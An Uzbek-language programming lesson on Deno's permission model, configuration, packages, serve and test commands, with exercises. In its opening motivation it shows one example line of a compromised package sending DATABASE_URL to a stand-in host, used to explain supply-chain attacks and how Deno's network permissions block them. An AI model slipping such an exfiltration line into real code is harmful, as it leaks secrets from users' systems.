Mundarija (26)
- Bu darsda
- 1. Nega bu kerak?
- 2. Ruxsatlar
- 2.1 Tajriba
- 2.2 Ruxsat turlari
- 3. TypeScript va deno.json
- 3.1 TypeScript ichida
- 3.2 deno.json
- 4. Paketlar: npm: va JSR
- 4.1 npm: specifier
- 4.2 JSR
- 5. deno serve va deno test
- 5.1 export default { fetch }
- 5.2 deno test
- 6. Tezlik, Windows va kanon topilmasi
- 7. Deno Deploy
- 8. Node, Bun va Deno — yonma-yon
- 9. Ko'p uchraydigan xatolar
- 10. Mashqlar
- 1-mashq (oson): bo'shliqlarni to'ldiring
- 2-mashq (o'rta): --allow-net qoidasini modellang
- 3-mashq (qiyin): import xaritasi qanday ishlaydi
- 11. Loyiha qadami: kanon tajribasi, loyihaga kirmaydi
- 12. Real ishda
- Xulosa
- Manbalar
Deno: ruxsatlar bilan xavfsiz JavaScript va TypeScript runtime
Qisqacha: Deno — Node muallifi Rayan Dal (Ryan Dahl) yaratgan ikkinchi runtime. Asosiy farqi — xavfsizlik: dastur sukutda faylni o'qiy olmaydi, tarmoqqa chiqa olmaydi, muhit o'zgaruvchisini ko'ra olmaydi. Har ruxsat bayroq bilan aniq beriladi (
--allow-read=fayl,--allow-net=host:port). TypeScript, formatlovchi, linter va test runner ichida; npm paketlarinpm:orqali, Deno'ning o'z reyestri — JSR.
Bu darsda
- Deno ruxsatlarini o'z ko'zingiz bilan sinab, har birining xato matnini o'qiysiz.
deno.jsonda import xaritasi va vazifalar yozasiz.npm:vajsr:paketlarni ishlatasiz,deno.lockni o'qiysiz.deno servevadeno testbilan Hono ilovani ishga tushirib, sinaysiz.- Deno'ni Node va Bun bilan solishtira olasiz.
Oldin bilishingiz kerak: Permission model, ES Modules Node'da, Hono, Bun runtime.
Oldingi darsda Bun tezlik va "hammasi bitta dasturda" g'oyasini ko'rsatdi. Deno ham hammasi bitta dasturda, lekin markazda boshqa narsa — xavfsizlik.
1. Nega bu kerak?
Siz npm'dan sana-formatla degan kichik paket o'rnatdingiz. Uning ichida kimdir bitta qator qo'shgan: fetch("https://yomon.example/", { body: process.env.DATABASE_URL }). Node'da bu qator ishlaydi — paket sizning dasturingiz bilan bir xil huquqqa ega: hamma fayl, hamma tarmoq, hamma sir.
Bunday hujum — supply chain attack (ta'minot zanjiri hujumi): sizga emas, siz ishlatadigan paketga hujum qilinadi. Permission model darsida Node'ning --permission bayrog'ini ko'rgandik. Kanon o'sha qismda topgan: Node 24 dagi --permission fayllarni cheklaydi, lekin tarmoqni cheklamaydi.
Deno buni boshidan boshqa qilgan: hech narsaga ruxsat yo'q, toki o'zingiz bermaguningizcha.
O'xshatish: Node — mehmonga uyning hamma kalitini beradigan mezbon. Deno — mehmonga faqat mehmonxona xonasining kalitini beradigan mezbon; oshxonaga kirmoqchi bo'lsa — alohida so'raydi.
2. Ruxsatlar
2.1 Tajriba
Quyidagi fayl to'rt ish qiladi: o'z faylini o'qiydi, fayl yozadi, HOME muhit o'zgaruvchisini o'qiydi va lokal portga so'rov yuboradi. Har ish try/catch ichida — xato bo'lsa, nomi va matni chiqadi.
// fayl: ruxsat.ts
const sinov = async (nom: string, ish: () => Promise<unknown>) => {
try {
console.log(nom, "→", await ish());
} catch (e) {
const x = e as Error;
console.log(nom, "→", x.name + ":", x.message);
}
};
await sinov("o'qish", async () =>
(await Deno.readTextFile("ruxsat.ts")).length);
await sinov("yozish", async () => {
await Deno.writeTextFile("x.txt", "salom");
return "yozildi";
});
await sinov("env", async () =>
Deno.env.get("HOME") ? "bor" : "bo'sh");
await sinov("tarmoq", async () =>
(await fetch("http://127.0.0.1:4499/")).status);Biz Deno 2.9.6 da uch xil ishga tushirdik (Windows 11). --no-prompt — Deno ruxsat so'rab to'xtamasin, darhol rad etsin.
Ruxsatsiz (har qatorning → dan keyingi qismiga qarang — xato nomi va qaysi resurs so'ralgani):
deno run --no-prompt ruxsat.tso'qish → NotCapable: Requires read access to "ruxsat.ts", run again with the --allow-read flag
yozish → NotCapable: Requires write access to "x.txt", run again with the --allow-write flag
env → NotCapable: Requires env access to "HOME", run again with the --allow-env flag
tarmoq → NotCapable: Requires net access to "127.0.0.1:4499", run again with the --allow-net flagHar xabar: "… ga o'qish (yozish, env, tarmoq) ruxsati kerak, --allow-… bayrog'i bilan qayta ishga tushiring". Xato nomi — NotCapable ("qodir emas"). Deno qaysi faylga, qaysi o'zgaruvchiga, qaysi host va portga urinilganini aniq aytadi.
Faqat kerakli ruxsatlar bilan:
deno run --no-prompt --allow-read=ruxsat.ts --allow-env=HOME \
--allow-net=127.0.0.1:4499 ruxsat.tso'qish → 585
yozish → NotCapable: Requires write access to "x.txt", run again with the --allow-write flag
env → bor
tarmoq → TypeError: fetch failedO'qish va env ochildi. Yozish hamon yopiq — biz unga ruxsat bermadik. Tarmoq ruxsati bor, lekin 4499 portida server yo'q — endi xato ruxsatdan emas, ulanishdan: TypeError: fetch failed. Ya'ni ruxsat o'tdi.
-A (--allow-all) bilan to'rttasi ham ochiladi: yozish → yozildi. Biz sinadik — ishladi. Lekin -A Deno'ning butun g'oyasini o'chiradi.
2.2 Ruxsat turlari
| Bayroq | Nimaga | Aniqlashtirish namunasi |
|---|---|---|
--allow-read |
fayl o'qish | --allow-read=./data,./config.json |
--allow-write |
fayl yozish | --allow-write=./yuklamalar |
--allow-net |
tarmoq (ulanish va tinglash) | --allow-net=api.example.com,127.0.0.1:5432 |
--allow-env |
muhit o'zgaruvchilari | --allow-env=DATABASE_URL,PORT |
--allow-run |
boshqa dastur ishga tushirish | --allow-run=git |
--allow-ffi |
native kutubxona chaqirish | — |
--allow-sys |
tizim ma'lumoti (OS, xotira) | --allow-sys=hostname |
Jadval docs.deno.com "Security and permissions" sahifasi bo'yicha (2026-10-28). Har bayroq qiymatsiz bo'lsa — butun tur ochiladi (--allow-read — hamma fayl). Qiymat bilan — faqat ro'yxatdagilar. Qiymat bilan bering.
Ikkitasi alohida xavfli: hujjat --allow-run va --allow-ffi ni "qum qutisini chetlab o'tadi" deb ogohlantiradi. Ishga tushirilgan boshqa dastur yoki native kutubxona Deno ruxsatlariga bo'ysunmaydi.
Terminalda interaktiv ishga tushirsangiz (--no-prompt siz), Deno ruxsatsiz amalda to'xtab, "ruxsat berasizmi? [y/n]" deb so'raydi. Server yoki CI'da so'rash mumkin emas — u yerda ruxsatlar oldindan yoziladi.
flowchart TB
A["kod: Deno.readTextFile(f)"] --> B{"f ruxsat ro'yxatidami?"}
B -->|ha| C["fayl o'qiladi"]
B -->|yo'q| D{"terminal interaktivmi va --no-prompt yo'qmi?"}
D -->|ha| E["foydalanuvchidan so'raydi"]
D -->|yo'q| F["NotCapable xatosi"]Tekshirib ko'ring: Ilova faqat Postgres'ga (
127.0.0.1:5432) va Telegram API'ga (api.telegram.org) ulanadi.--allow-netni qanday yozasiz va nega--allow-netni qiymatsiz qoldirmaysiz?
Javob
--allow-net=127.0.0.1:5432,api.telegram.org. Qiymatsiz bayroq hamma hostga ochadi: buzilgan bog'liqlik sirni istalgan serverga yubora oladi. Ro'yxat bilan esa boshqa hostga so'rov NotCapable bilan to'xtaydi — yuqoridagi supply chain misoli ishlamaydi.
3. TypeScript va deno.json
3.1 TypeScript ichida
Deno .ts faylni sozlamasiz ishga tushiradi va tip tekshirishi ham mumkin: deno check main.ts yoki deno test (test oldidan o'zi tekshiradi — natijadagi Check main_test.ts qatori shu). Bun'dan farqi shu: Bun tipni umuman tekshirmaydi, Deno esa buni o'z ichidagi TypeScript bilan qiladi (deno --version da TypeScript 6.0.3).
Ichidagi boshqa vositalar: deno fmt (formatlovchi, Prettier o'rniga), deno lint (linter), deno compile (bitta bajariladigan faylga yig'ish), deno doc. Biz bularni sinamadik — ro'yxat docs.deno.com bo'yicha.
3.2 deno.json
deno.json — Deno loyihasining sozlamalari: import xaritasi, vazifalar, kompilyator sozlamalari. Biz quyidagisini yozdik:
{
"imports": {
"hono": "npm:hono@4.13.13",
"@std/assert": "jsr:@std/assert@1"
},
"tasks": {
"dev": "deno serve --watch --allow-net main.ts"
}
}imports— import xaritasi (import map): koddaimport { Hono } from "hono"yozasiz, Deno uninpm:hono@4.13.13ga almashtiradi. Bu — brauzerdagi<script type="importmap">standarti.tasks—package.jsondagiscriptsning o'xshashi:deno task dev.
Deno package.json ni ham tushunadi: Node loyihasi papkasida deno run qilsangiz, node_modules dagi paketlarni ishlatadi. Hono darsida aynan shunday bo'lgan — biz Hono faylini Deno'da deno.json siz ishga tushirgandik.
4. Paketlar: npm: va JSR
4.1 npm: specifier
npm:hono@4.13.13 — npm reyestridagi paket. Deno uni o'zi yuklaydi va global keshda saqlaydi; npm install buyrug'i shart emas. Node'ga yozilgan paketlarning ko'pchiligi ishlaydi, chunki Deno node:fs, node:http kabi modullarni taqlid qiladi.
4.2 JSR
JSR (JavaScript Registry, jsr.io) — Deno jamoasi yaratgan yangi paket reyestri. Undagi paketlar TypeScript manbasi bilan nashr qilinadi va Deno, Node, Bun'da ishlaydi. Deno'ning standart kutubxonasi (@std/assert, @std/path …) shu yerda.
Birinchi deno test da Deno nimani yuklaganini ko'rsatdi (qisqartirdik, 40 ga yaqin qator):
Download https://jsr.io/@std/assert/meta.json
Download https://registry.npmjs.org/hono
Download https://jsr.io/@std/assert/1.0.19_meta.json
…
Download https://registry.npmjs.org/hono/-/hono-4.13.13.tgzjsr:@std/assert@1 — "1-katta versiyaning eng yangisi" (semver); Deno 1.0.19 ni tanladi. Tanlov deno.lock ga yozildi:
{
"version": "5",
"specifiers": {
"jsr:@std/assert@1": "1.0.19",
"jsr:@std/internal@^1.0.12": "1.0.14",
"npm:hono@4.13.13": "4.13.13"
},
…
}Lock-faylda har paketning integrity hash'i ham bor (npm qismida sha512-…). Uni git'ga qo'shing — boshqa kompyuterda xuddi shu versiyalar o'rnatiladi.
Diqqat: Paket yuklash
deno runyokideno testpaytida bo'ladi va bunga ruxsat bayrog'i kerak emas — bu dasturning emas, Deno'ning o'z ishi. Ruxsatlar faqat sizning kodingiz va paketlaringiz ishlayotganda amal qiladi.
5. deno serve va deno test
5.1 export default { fetch }
main.ts — Hono ilovasi, export default app bilan:
// fayl: main.ts
import { Hono } from "hono";
const app = new Hono();
app.get("/v1/salom", (c) =>
c.json({ salom: "dunyo", runtime: "Deno" }));
export default app;deno serve — fetch metodli obyektni eksport qilgan faylni serverga aylantiradi (Hono'ning app ida fetch bor). Biz deno serve --port 4517 main.ts bilan ishga tushirdik:
deno serve: Listening on http://localhost:4517/curl http://127.0.0.1:4517/v1/salom:
{"salom":"dunyo","runtime":"Deno"}E'tibor bering: biz --allow-net bermadik, server baribir port ochdi. Rasmiy hujjat: "deno serve automatically allows the server to listen without requiring --allow-net" — deno serve tinglash uchun ruxsatni o'zi beradi. Boshqa ruxsatlar (fayl, env, tashqi tarmoq) — baribir bayroq bilan. Sukut port — 8000. --parallel — har CPU yadrosiga alohida worker (hujjat bo'yicha, sinalmagan).
Shu faylni adashib deno run main.ts bilan ishga tushirsangiz, server ochilmaydi va Deno maslahat beradi (biz sinadik):
warning: Detected export default { fetch }, did you mean to run "deno serve"?Tarjima: "export default { fetch } topildi, deno serve demoqchimidingiz?"
5.2 deno test
// fayl: main_test.ts
import { assertEquals } from "@std/assert";
import app from "./main.ts";
Deno.test("GET /v1/salom", async () => {
const r = await app.request("/v1/salom");
assertEquals(r.status, 200);
assertEquals(await r.json(), { salom: "dunyo", runtime: "Deno" });
});deno test (paketlar keshda bo'lgan ikkinchi ishga tushirish):
running 1 test from ./main_test.ts
GET /v1/salom ... ok (36ms)
ok | 1 passed | 0 failed (55ms)Vaqtlar har safar boshqa. Test ham ruxsatlar ichida ishlaydi: bu test faqat app.request chaqiradi — tarmoq ham, fayl ham kerak emas, shuning uchun bayroqsiz o'tdi.
6. Tezlik, Windows va kanon topilmasi
Kanon bir xil API'ni Deno.serve (freymvorksiz) bilan o'lchadi: GET 9 122, POST 5 729 so'rov/s, p99 16 ms, ishga tushish 228 ms. Bu ro'yxatdagi eng past natija — Express (10 698) dan ham past.
- Deno.serveDeno 2.9.6, p99 16 ms9 122 req/s
- Express (Node)p99 25 ms10 698 req/s
- Bun.serveBun 1.4.3, p99 5 ms30 430 req/s
Manba: IlmHamroh kanon o'lchovi, 2026-10-27: autocannon 8.0.0, 50 ulanish, 5 s, Windows 11, i5-12500H; Deno npm 'deno' paketidan; bitta o'lchov
Bu raqamdan "Deno sekin" degan xulosa chiqarmang. O'lchov Windows'da, bitta mashinada va bitta marta qilingan. Deno jamoasi o'z benchmark'larini Linux'da beradi. Linux'da qayta o'lchanmagan (kanonda Linux yo'q). Halol xulosa: "bizning Windows mashinamizda Deno eng sekini chiqdi; prod Linux'da o'lchab ko'ring".
Kanonning yana bir topilmasi: Node child_process.spawn bilan Deno'ni IPC kanali (stdio: [..., "ipc"]) bilan ishga tushirganda Deno "Failed to open IPC channel" xatosi bilan yiqildi. Yechim — IPC'siz ishga tushirish va tayyorlikni stdout orqali bilish. Node'dan boshqa runtime'ni boshqarsangiz, bu tuzoqni eslang.
7. Deno Deploy
Deno Deploy — Deno jamoasining serverless platformasi. Rasmiy hujjatga ko'ra (docs.deno.com/deploy, 2026-10-28):
- Deno va Node ilovalarini, Next.js, Astro, SvelteKit'ni qo'llab-quvvatlaydi.
- Bulutda yoki o'z serveringizda (self-hosted) ishlatsa bo'ladi.
- Eski "Deploy Classic" (dash.deno.com) uchun hujjat yopilish sanasini 2026-yil 20-iyul deb e'lon qilgan; loyihalar yangi platformaga avtomatik ko'chirilmaydi, ularni qayta joylash kerak. Eski qo'llanmalarda dash.deno.com yoki
deployctlni ko'rsangiz, yangi konsolga (console.deno.com) qarang.
Kanonda sinalmagan: akkaunt kerak, kurs qoidasiga ko'ra akkaunt ochilmaydi. Serverless g'oyasining o'zini keyingi darsda ko'ramiz.
8. Node, Bun va Deno — yonma-yon
| Node 24 | Bun 1.4 | Deno 2.9 | |
|---|---|---|---|
| Dvigatel | V8 | JavaScriptCore | V8 |
| TypeScript | tip o'chirish | bajaradi, tekshirmaydi | bajaradi va tekshira oladi |
| Ruxsatlar | --permission (fayl; tarmoq — yo'q) |
yo'q | sukutda hammasi yopiq |
| Paketlar | npm | bun install (npm reyestri) |
npm:, jsr:, package.json |
| Asosiy kuchi | ekotizim, barqarorlik | tezlik, hammasi bitta | xavfsizlik, standartlar |
Jadvaldagi ruxsatlar qatori — kanon 24-qism topilmasi va bu darsdagi tajriba. Qolganlari — rasmiy hujjatlar va bu qismdagi tajribalar.
9. Ko'p uchraydigan xatolar
| Belgi | Sabab | Davosi |
|---|---|---|
NotCapable: Requires read access to … |
ruxsat berilmagan | --allow-read=<aniq yo'l> |
| Server ochilmadi, faqat ogohlantirish | export default fayl deno run bilan |
deno serve |
Prod'da hammasi ishlaydi, lekin -A bilan |
ruxsatlar yozilmagan | kerakli ro'yxatni yig'ib, -A ni olib tashlang |
| CI'da dastur to'xtab qoldi | interaktiv ruxsat so'rovi | --no-prompt va aniq bayroqlar |
| Boshqa kompyuterda boshqa versiya | deno.lock git'da yo'q |
lock-faylni qo'shing |
| Node'dan spawn qilganda yiqildi | IPC kanali | IPC'siz, stdout orqali |
10. Mashqlar
Mashqlar kurs/mashqlar/29/67-deno/ da. Yechimlar toza JavaScript — Node, Bun va Deno'da bir xil ishlaydi.
1-mashq (oson): bo'shliqlarni to'ldiring
- Ruxsatsiz amalda chiqadigan xato nomi —
- Faqat
127.0.0.1:5432ga ruxsat —--allow-net= - Deno'ning paket reyestri —
export default { fetch }faylni server qiladigan buyruq —deno- Interaktiv so'rovni o'chiradigan bayroq —
--
Yechim
- NotCapable — "qodir emas".
- 127.0.0.1:5432 — host va port bilan.
- JSR — jsr.io.
- serve — tinglash ruxsatini o'zi beradi.
- no-prompt — CI va serverda majburiy.
2-mashq (o'rta): --allow-net qoidasini modellang
tarmoqRuxsati(royxat, manzil) funksiyasini yozing. royxat — --allow-net= dan keyingi matn ("api.example.com,127.0.0.1:5432") yoki null (bayroq yo'q). manzil — "host:port". Qoida: null — rad; ro'yxatdagi element host:port bo'lsa — aynan mos kelishi kerak; faqat host bo'lsa — shu hostning istalgan porti. Natija — "ruxsat" yoki Deno uslubidagi xabar: Requires net access to "<manzil>". To'rt holat bilan sinang. Ishora: split(","), includes(":"), startsWith(host + ":").
Yechim
function tarmoqRuxsati(royxat, manzil) {
const rad = `Requires net access to "${manzil}"`;
if (royxat === null) return rad;
const mos = royxat.split(",").some((el) =>
el.includes(":") ? el === manzil : manzil.startsWith(el + ":"));
return mos ? "ruxsat" : rad;
}
const R = "api.example.com,127.0.0.1:5432";
console.log(tarmoqRuxsati(R, "127.0.0.1:5432"));
console.log(tarmoqRuxsati(R, "127.0.0.1:6379"));
console.log(tarmoqRuxsati(R, "api.example.com:443"));
console.log(tarmoqRuxsati(null, "api.example.com:443"));Konsolda:
ruxsat
Requires net access to "127.0.0.1:6379"
ruxsat
Requires net access to "api.example.com:443"Bu — o'quv modeli. Haqiqiy Deno IPv6, domen nomini IP'ga aylantirish va boshqa chekka holatlarni ham hisobga oladi.
3-mashq (qiyin): import xaritasi qanday ishlaydi
deno.json dagi imports ni hal qiluvchi yechish(xarita, specifier) funksiyasini yozing. Qoidalar import map standartining soddalashtirilgan shakli. (1) Kalit specifier'ga aynan teng bo'lsa — qiymat. (2) / bilan tugaydigan kalit specifier'ning boshiga mos kelsa — eng uzun mos kalit olinadi va boshi almashtiriladi. (3) Mos kalit yo'q — specifier o'zgarmaydi. Xarita: "hono": "npm:hono@4.13.13", "@std/assert": "jsr:@std/assert@1", "@std/": "jsr:@std/", "~/": "./src/". Sinang: hono, @std/assert, @std/path/join, ~/db/ulanish.ts, ./boshqa.ts.
Yechim
function yechish(xarita, specifier) {
if (specifier in xarita) return xarita[specifier];
const prefikslar = Object.keys(xarita)
.filter((k) => k.endsWith("/") && specifier.startsWith(k))
.sort((a, b) => b.length - a.length);
if (prefikslar.length === 0) return specifier;
const k = prefikslar[0];
return xarita[k] + specifier.slice(k.length);
}
const xarita = {
"hono": "npm:hono@4.13.13",
"@std/assert": "jsr:@std/assert@1",
"@std/": "jsr:@std/",
"~/": "./src/",
};
for (const s of ["hono", "@std/assert", "@std/path/join",
"~/db/ulanish.ts", "./boshqa.ts"]) {
console.log(s, "→", yechish(xarita, s));
}Konsolda:
hono → npm:hono@4.13.13
@std/assert → jsr:@std/assert@1
@std/path/join → jsr:@std/path/join
~/db/ulanish.ts → ./src/db/ulanish.ts
./boshqa.ts → ./boshqa.ts@std/assert aynan kalit bo'lgani uchun birinchi qoida ishladi, @std/ prefiksiga tushmadi. Haqiqiy brauzer va Deno nisbiy yo'llarni to'liq URL'ga aylantiradi va scopes ni ham biladi — bu yerda soddalashtirilgan.
11. Loyiha qadami: kanon tajribasi, loyihaga kirmaydi
vazifalar-api Node 24 da qoladi. Kanon Deno 2.9.6 ni (npm deno paketi orqali, %TEMP% papkada) tajribada sinadi: Deno.serve bir xil API bilan — 9 122 so'rov/s (Windows); ruxsatlar — ruxsatsiz NotCapable, aniq bayroqlar bilan ochildi; Node'dan IPC bilan spawn — yiqildi. Biz ruxsatlar, deno.json, npm:/jsr:, deno serve va deno test ni qayta ishga tushirdik.
Nega loyihaga kirmaydi? Loyiha Node ekotizimiga (Prisma, BullMQ, Express) qurilgan va Linux VPS'da Node bilan ishlaydi (33-qism). Deno'ning ruxsatlari kuchli g'oya — lekin ko'chish uchun har bog'liqlikni sinash kerak. Bu darsdan loyihaga olinadigan narsa — tamoyil: jarayonga faqat kerakli ruxsat. 33-qismda Docker'da xuddi shu g'oyani (root'siz foydalanuvchi, faqat kerakli tarmoq) qo'llaymiz.
O'zingiz sinab ko'ring: Deno'ni o'rnatib (npm i -g deno yoki rasmiy o'rnatuvchi), darsdagi ruxsat.ts ni uch xil bayroq bilan ishga tushiring va --allow-write=x.txt qo'shib, yozish ham ochilishini ko'ring.
12. Real ishda
- Skriptlar va avtomatlashtirish — ruxsatlar tufayli begona skriptni xavfsizroq ishga tushirish.
- Supabase Edge Functions Deno'da ishlaydi (Supabase arxitektura hujjati, 2026-10-28) — BaaS darsida.
- Netlify Edge Functions ham Deno asosida (hujjat bo'yicha, sinalmagan).
- Intervyuda: "Deno va Node farqi?", "Supply chain hujumidan runtime qanday himoya qiladi?", "JSR nima?"
Xulosa
- Deno sukutda hech narsaga ruxsat bermaydi: fayl, tarmoq, env, dastur — har biri
--allow-…bayrog'i bilan, imkon qadar aniq qiymat bilan. - Ruxsatsiz amal —
NotCapablexatosi, nima kerakligini aniq aytadi. deno.json— import xaritasi va vazifalar; paketlarnpm:vajsr:orqali, versiyalardeno.lockda.deno serve—export default { fetch }faylni server qiladi va tinglash ruxsatini o'zi beradi.- TypeScript, test, formatlovchi, linter — ichida;
deno testtipni ham tekshiradi. - Kanonda Windows'da
Deno.serve9 122 so'rov/s — eng past; Linux'da sinalmagan.
Keyingi dars: Serverless va edge funksiyalar — server boshqarmasdan kod ishlatish: Lambda handler, sovuq start, limitlar va bazaga ulanish muammosi o'lchov bilan.
Manbalar
- Deno hujjati: https://docs.deno.com/runtime/
- Security and permissions: https://docs.deno.com/runtime/fundamentals/security/
- deno serve: https://docs.deno.com/runtime/reference/cli/serve/
- Configuration (deno.json): https://docs.deno.com/runtime/fundamentals/configuration/
- JSR: https://jsr.io/docs
- Deno Deploy: https://docs.deno.com/deploy/
- Import maps (WHATWG HTML): https://html.spec.whatwg.org/multipage/webappapis.html#import-maps
- Kanon tajribasi (IlmHamroh, 2026-10-27): Deno 2.9.6, autocannon 8.0.0, Windows 11. Ruxsatlar,
deno.json,npm:/jsr:,deno serve,deno testva mashqlar — biz ishga tushirdik (2026-10-28, Deno 2.9.6, Node 24.21.0).
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!